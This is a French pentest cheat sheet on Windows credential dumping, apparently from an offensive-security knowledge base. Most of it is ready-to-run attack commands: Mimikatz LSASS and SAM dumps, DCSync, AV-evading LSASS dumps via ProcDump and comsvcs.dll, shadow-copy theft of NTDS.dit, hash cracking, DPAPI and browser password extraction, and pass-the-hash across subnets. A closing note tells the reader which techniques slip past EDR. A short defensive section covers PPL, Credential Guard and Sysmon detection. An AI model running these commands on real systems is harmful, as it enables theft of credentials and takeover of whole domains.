---
title: "Credential Dumping — Mimikatz, LSASS, SAM, NTDS"
domain: security
subdomain: pentest
phase: 05-post-exploitation
type: snippet
tags: [mimikatz, lsass, sam, ntds, credential-dumping, dpapi, secretsdump, windows, pentest]
difficulty: advanced
status: stable
updated: "2026-05-14"
---
## Vue d'ensemble des sources de credentials

```
Source          | Contenu                        | Prérequis
────────────────┼───────────────────────────────┼──────────────────────────
LSASS (mémoire) | Passwords en clair, NTLM hash  | SYSTEM ou SeDebugPrivilege
SAM (registre)  | NTLM hash des comptes locaux   | SYSTEM
NTDS.dit (DC)   | Tous les hashes du domaine     | Domain Admin
DPAPI           | Credentials chiffrés (browser, | Clé master utilisateur
                | Credential Manager, certs)     |
LSA Secrets     | Passwords de services, clés    | SYSTEM
```

---

## Mimikatz — Commandes essentielles

```powershell
# Lancer Mimikatz (nécessite admin / SYSTEM)
.\mimikatz.exe

# Vérifier les droits
mimikatz# privilege::debug
# Privilege '20' OK → SeDebugPrivilege actif

# Obtenir SYSTEM
mimikatz# token::elevate
```

### Dump mémoire LSASS

```powershell
# Passwords en clair + hashes NTLM depuis LSASS
mimikatz# sekurlsa::logonpasswords

# Seulement les hashes NTLM (plus discret)
mimikatz# sekurlsa::msv

# Tickets Kerberos en mémoire
mimikatz# sekurlsa::tickets

# Credentials Kerberos
mimikatz# sekurlsa::ekeys

# Dump WDigest (Windows 7/2008 — passwords en clair si activé)
mimikatz# sekurlsa::wdigest
```

### SAM — Hashes locaux

```powershell
# Dump de la base SAM (comptes locaux)
mimikatz# token::elevate
mimikatz# lsadump::sam

# LSA Secrets (passwords de services, credentials stockés)
mimikatz# lsadump::secrets

# Cache de domaine (DCC2 — comptes domaine qui se sont connectés)
mimikatz# lsadump::cache
```

### DCSync

```powershell
# Simuler un DC pour récupérer les hashes du domaine
mimikatz# lsadump::dcsync /domain:{{DOMAIN}} /user:Administrator
mimikatz# lsadump::dcsync /domain:{{DOMAIN}} /all /csv > hashes.csv
```

---

## Dump LSASS sans Mimikatz (évasion AV)

```powershell
# Méthode 1 — Task Manager (GUI, discret)
# Ouvrir Task Manager → Processes → Local Security Authority Process → Create Dump File
# → Copier C:\Users\{{USER}}\AppData\Local\Temp\lsass.DMP vers l'attaquant

# Méthode 2 — ProcDump (Sysinternals, signé Microsoft → moins détecté)
.\procdump64.exe -accepteula -ma lsass.exe lsass.dmp
.\procdump64.exe -accepteula -mm lsass.exe lsass_mini.dmp  # minidump (plus petit)

# Méthode 3 — Via comsvcs.dll (natif Windows, pas de binaire tiers)
$pid = (Get-Process lsass).Id
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $pid C:\Windows\Temp\lsass.dmp full

# Méthode 4 — via Powershell direct
$lsass = Get-Process lsass
$handle = [PSObject].Assembly.GetType('System.Diagnostics.Process').GetMethod('OpenProcessHandle')
# (approche silencieuse via API calls — outils : SilentProcessExit, HandleClose)
```

```bash
# Parser le dump lsass.dmp sur la machine attaquante (Linux)
pypykatz lsa minidump lsass.dmp
pypykatz lsa minidump lsass.dmp -o credentials.json

# Mimikatz sur Windows avec le dump
mimikatz# sekurlsa::minidump lsass.dmp
mimikatz# sekurlsa::logonpasswords
```

---

## SAM hors ligne — Shadow Copy

```powershell
# Si on ne peut pas lire le SAM directement (verrouillé), utiliser VSS
# Créer un shadow copy
vssadmin create shadow /for=C:
# Copier depuis le shadow copy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy{{X}}\Windows\System32\config\SAM C:\temp\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy{{X}}\Windows\System32\config\SYSTEM C:\temp\SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy{{X}}\Windows\System32\config\SECURITY C:\temp\SECURITY
```

```bash
# Impacket — extraire les hashes depuis SAM + SYSTEM hors ligne
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL
```

---

## NTDS.dit — Dump complet du domaine

```powershell
# Méthode 1 — via VSS (Shadow Copy) sur le DC
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy{{X}}\Windows\NTDS\ntds.dit C:\temp\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy{{X}}\Windows\System32\config\SYSTEM C:\temp\SYSTEM

# Méthode 2 — ntdsutil (natif Windows)
ntdsutil "ac i ntds" "ifm" "create full c:\temp\ntds_dump" q q
# → Crée C:\temp\ntds_dump\Active Directory\ntds.dit et registry\SYSTEM
```

```bash
# Parser NTDS.dit + SYSTEM sur la machine attaquante
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL -just-dc-ntlm -outputfile hashes.txt

# Cracker les hashes NTLM
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
```

---

## DPAPI — Credentials browser et Credential Manager

```powershell
# Lister les credentials stockés dans Credential Manager
cmdkey /list

# Mimikatz — dump DPAPI (credentials stockés)
mimikatz# vault::cred /patch
mimikatz# vault::list

# Dump des master keys DPAPI
mimikatz# dpapi::masterkey /in:C:\Users\{{USER}}\AppData\Roaming\Microsoft\Protect\{{SID}}\{{GUID}} /rpc
```

```powershell
# SharpDPAPI — extraction automatisée
.\SharpDPAPI.exe credentials         # Credential Manager
.\SharpDPAPI.exe certificates /mkfile:masterkeys.txt  # Certificats
.\SharpDPAPI.exe chrome /mkfile:masterkeys.txt        # Chrome passwords

# LaZagne — extraction multi-sources (Python)
.\LaZagne.exe all
.\LaZagne.exe browsers
.\LaZagne.exe windows
```

---

## Pass-the-Hash (PTH)

```bash
# Utiliser un hash NTLM pour s'authentifier sans mot de passe
# Impacket — psexec PTH
psexec.py -hashes :{{NTLM_HASH}} {{DOMAIN}}/Administrator@{{TARGET_IP}}

# smbexec PTH
smbexec.py -hashes :{{NTLM_HASH}} {{DOMAIN}}/Administrator@{{TARGET_IP}}

# wmiexec PTH
wmiexec.py -hashes :{{NTLM_HASH}} {{DOMAIN}}/Administrator@{{TARGET_IP}}

# CrackMapExec — PTH sur tout un subnet
crackmapexec smb {{TARGET_SUBNET}} -u Administrator -H {{NTLM_HASH}} --local-auth
crackmapexec smb {{TARGET_SUBNET}} -u Administrator -H {{NTLM_HASH}} -x "whoami"
```

---

## Défense — Protection LSASS

```powershell
# Activer PPL (Protected Process Light) pour LSASS
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
  -Name "RunAsPPL" -Value 1
# → Mimikatz ne peut plus dumper LSASS (même en SYSTEM) sans bypass kernel

# Activer Credential Guard (bloque WDigest en clair)
# → Via GPO : Computer Configuration > Device Guard > Enable VBS
# → Requires UEFI + VBS

# Désactiver WDigest (empêche les passwords en clair dans LSASS)
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" `
  -Name "UseLogonCredential" -Value 0

# Surveiller le dump LSASS via Sysmon (Event ID 10)
# Sysmon config : target image lsass.exe + GrantedAccess 0x1010, 0x1410
# Alerte si processus non-System accède à lsass avec ces droits
```

<Warning>
Le dump de LSASS déclenche des alertes dans les EDR modernes (Defender for Endpoint, CrowdStrike). Les techniques alternatives (comsvcs.dll, ProcDump) sont également détectées. En environnement EDR, privilégier DCSync (si droits DA) ou les dumps VSS hors ligne sur les DCs, moins surveillés que l'accès mémoire LSASS.
</Warning>
